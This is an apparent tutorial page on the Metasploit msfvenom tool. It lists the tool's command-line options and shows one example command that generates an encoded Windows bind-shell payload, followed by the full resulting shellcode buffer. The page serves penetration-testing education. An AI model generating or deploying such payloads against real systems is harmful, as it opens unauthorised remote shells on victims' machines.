Msfvenom

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msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:

  • One single tool
  • Standardized command line options
  • Increased speed

Msfvenom has a wide range of options available:

root@kali:~# msfvenom -h
Usage: /usr/bin/msfvenom [options] <var=val>

Options:
    -p, --payload    <payload>       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    <length>        Prepend a nopsled of [length] size on to the payload
    -f, --format     <format>        Output format (use --help-formats for a list)
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       <architecture>  The architecture to use
        --platform   <platform>      The platform of the payload
    -s, --space      <length>        The maximum size of the resulting payload
    -b, --bad-chars  <list>          The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>         The number of times to encode the payload
    -c, --add-code   <path>          Specify an additional win32 shellcode file to include
    -x, --template   <path>          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --options                    List the payload's standard options
    -h, --help                       Show this message
        --help-formats               List available formats



An example of the usage of msfvenom can be seen below:

root@kali:~# msfvenom -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)
buf = 
"\xd9\xf6\xbd\xb7\x89\xbd\x46\xd9\x74\x24\xf4\x58\x2b\xc9" +
"\xb1\x59\x31\x68\x17\x03\x68\x17\x83\x5f\x75\x5f\xb3\x46" +
"\x71\x1a\x95\x40\x4a\x8b\x3f\xc4\x96\xdf\x9d\x15\x1e\xae" +
"\x4c\x64\xf5\xc9\x73\xd3\xed\x6a\x9e\x8e\xd7\xac\x6a\x5c" +
"\x2a\x70\xe5\x06\xe4\x8e\x89\xf4\x28\xf2\x25\x33\x69\x23" +
"\xe0\xe6\x51\x13\x9c\x44\x6e\xdd\xfe\x25\xeb\xc8\x15\xfe" +
"\xb3\x43\x7a\x2b\x26\x53\x95\x3a\x14\x84\x57\x53\x71\xe8" +
"\xba\x25\x82\xca\xb8\xee\x5f\x92\x4b\xea\x33\x6a\xa7\x8e" +
"\x5d\x87\x35\x89\x8d\x34\xb0\xf1\x85\x03\xc3\xf1\xe7\x4a" +
"\x5e\xfb\x17\x3c\x2c\x5f\xd5\xd4\x8f\xf0\x5c\x2d\x7f\xde" +
"\x77\x45\x36\x85\x95\xff\xc9\x98\xbd\x74\x77\x33\x62\xe9" +
"\x36\xbd\x56\xe1\xf5\xba\x37\x90\xff\x75\x75\x9d\xee\x30" +
"\xed\x57\x97\x9e\xe8\xce\x65\xec\xa3\x36\x90\x04\x48\x67" +
"\x4b\xf7\xbc\x1c\xdc\xcf\x6e\x03\xb5\xec\x3b\xe3\x21\x43" +
"\x99\x3e\x81\x39\x3e\xfc\x42\x47\xdd\xa1\x5e\x71\x1a\x6c" +
"\x67\x5e\xc8\xa9\xfd\x11\x60\x1b\x09\x2a\xe5\x5d\x4b\xf7" +
"\x08\x80\x21\xca\x0f\xa6\x03\x64\xcf\x89\x72\x0f\xbc\xe4" +
"\x6a\x03\x84\x33\xab\x96\x49\x2b\x8b\x06\xfa\x5d\x20\x49" +
"\xed\x46\xa8\x6e\x2d\x44\x42\xb9\xea\x6a\x25\x7e\xbb\x67" +
"\x8b\x15\x06\xa3\x36\x3e\x19\x6d\x62\x08\xe2\x1f\x3d\xa7" +
"\x85\xf1\x46\xf4\xb8\x96\x44\xd9\x9f\xfa\xe3\xd1\x29\xd5" +
"\x83\xd1\xa3\xaf\x42\xde\x2f\x9f\x02\x8b\x77\x97\xf6\x65" +
"\x10\x49\x0b\x13\xd6\x02\x0d\x02\xe7\x95\xa7\xcc\x72\x7d" +
"\x41\xea\xab\x3b\xf2\xe6\x6f\x71\x4a\x46\x56\xba\x51\x15" +
"\x15\x64\x1e\xbb\x6f\x35\xc4\xaa\xf0\x2d\xd8\x6a\x77\xa1" +
"\x0e\xb1\x58\xaa\xda\x70\x4a\x23\x26\xeb\x70\x74\x91\xba" +
"\x93\x7a\xe5\x72\xb9\x1d\xd5\x86\x8f\xb7\x73\xce\x3c\x63" +
"\x08"

The command and resulting shellcode above generates a Windows bind shell with three iterations of the shikata_ga_nai encoder without any null bytes in our shellcode.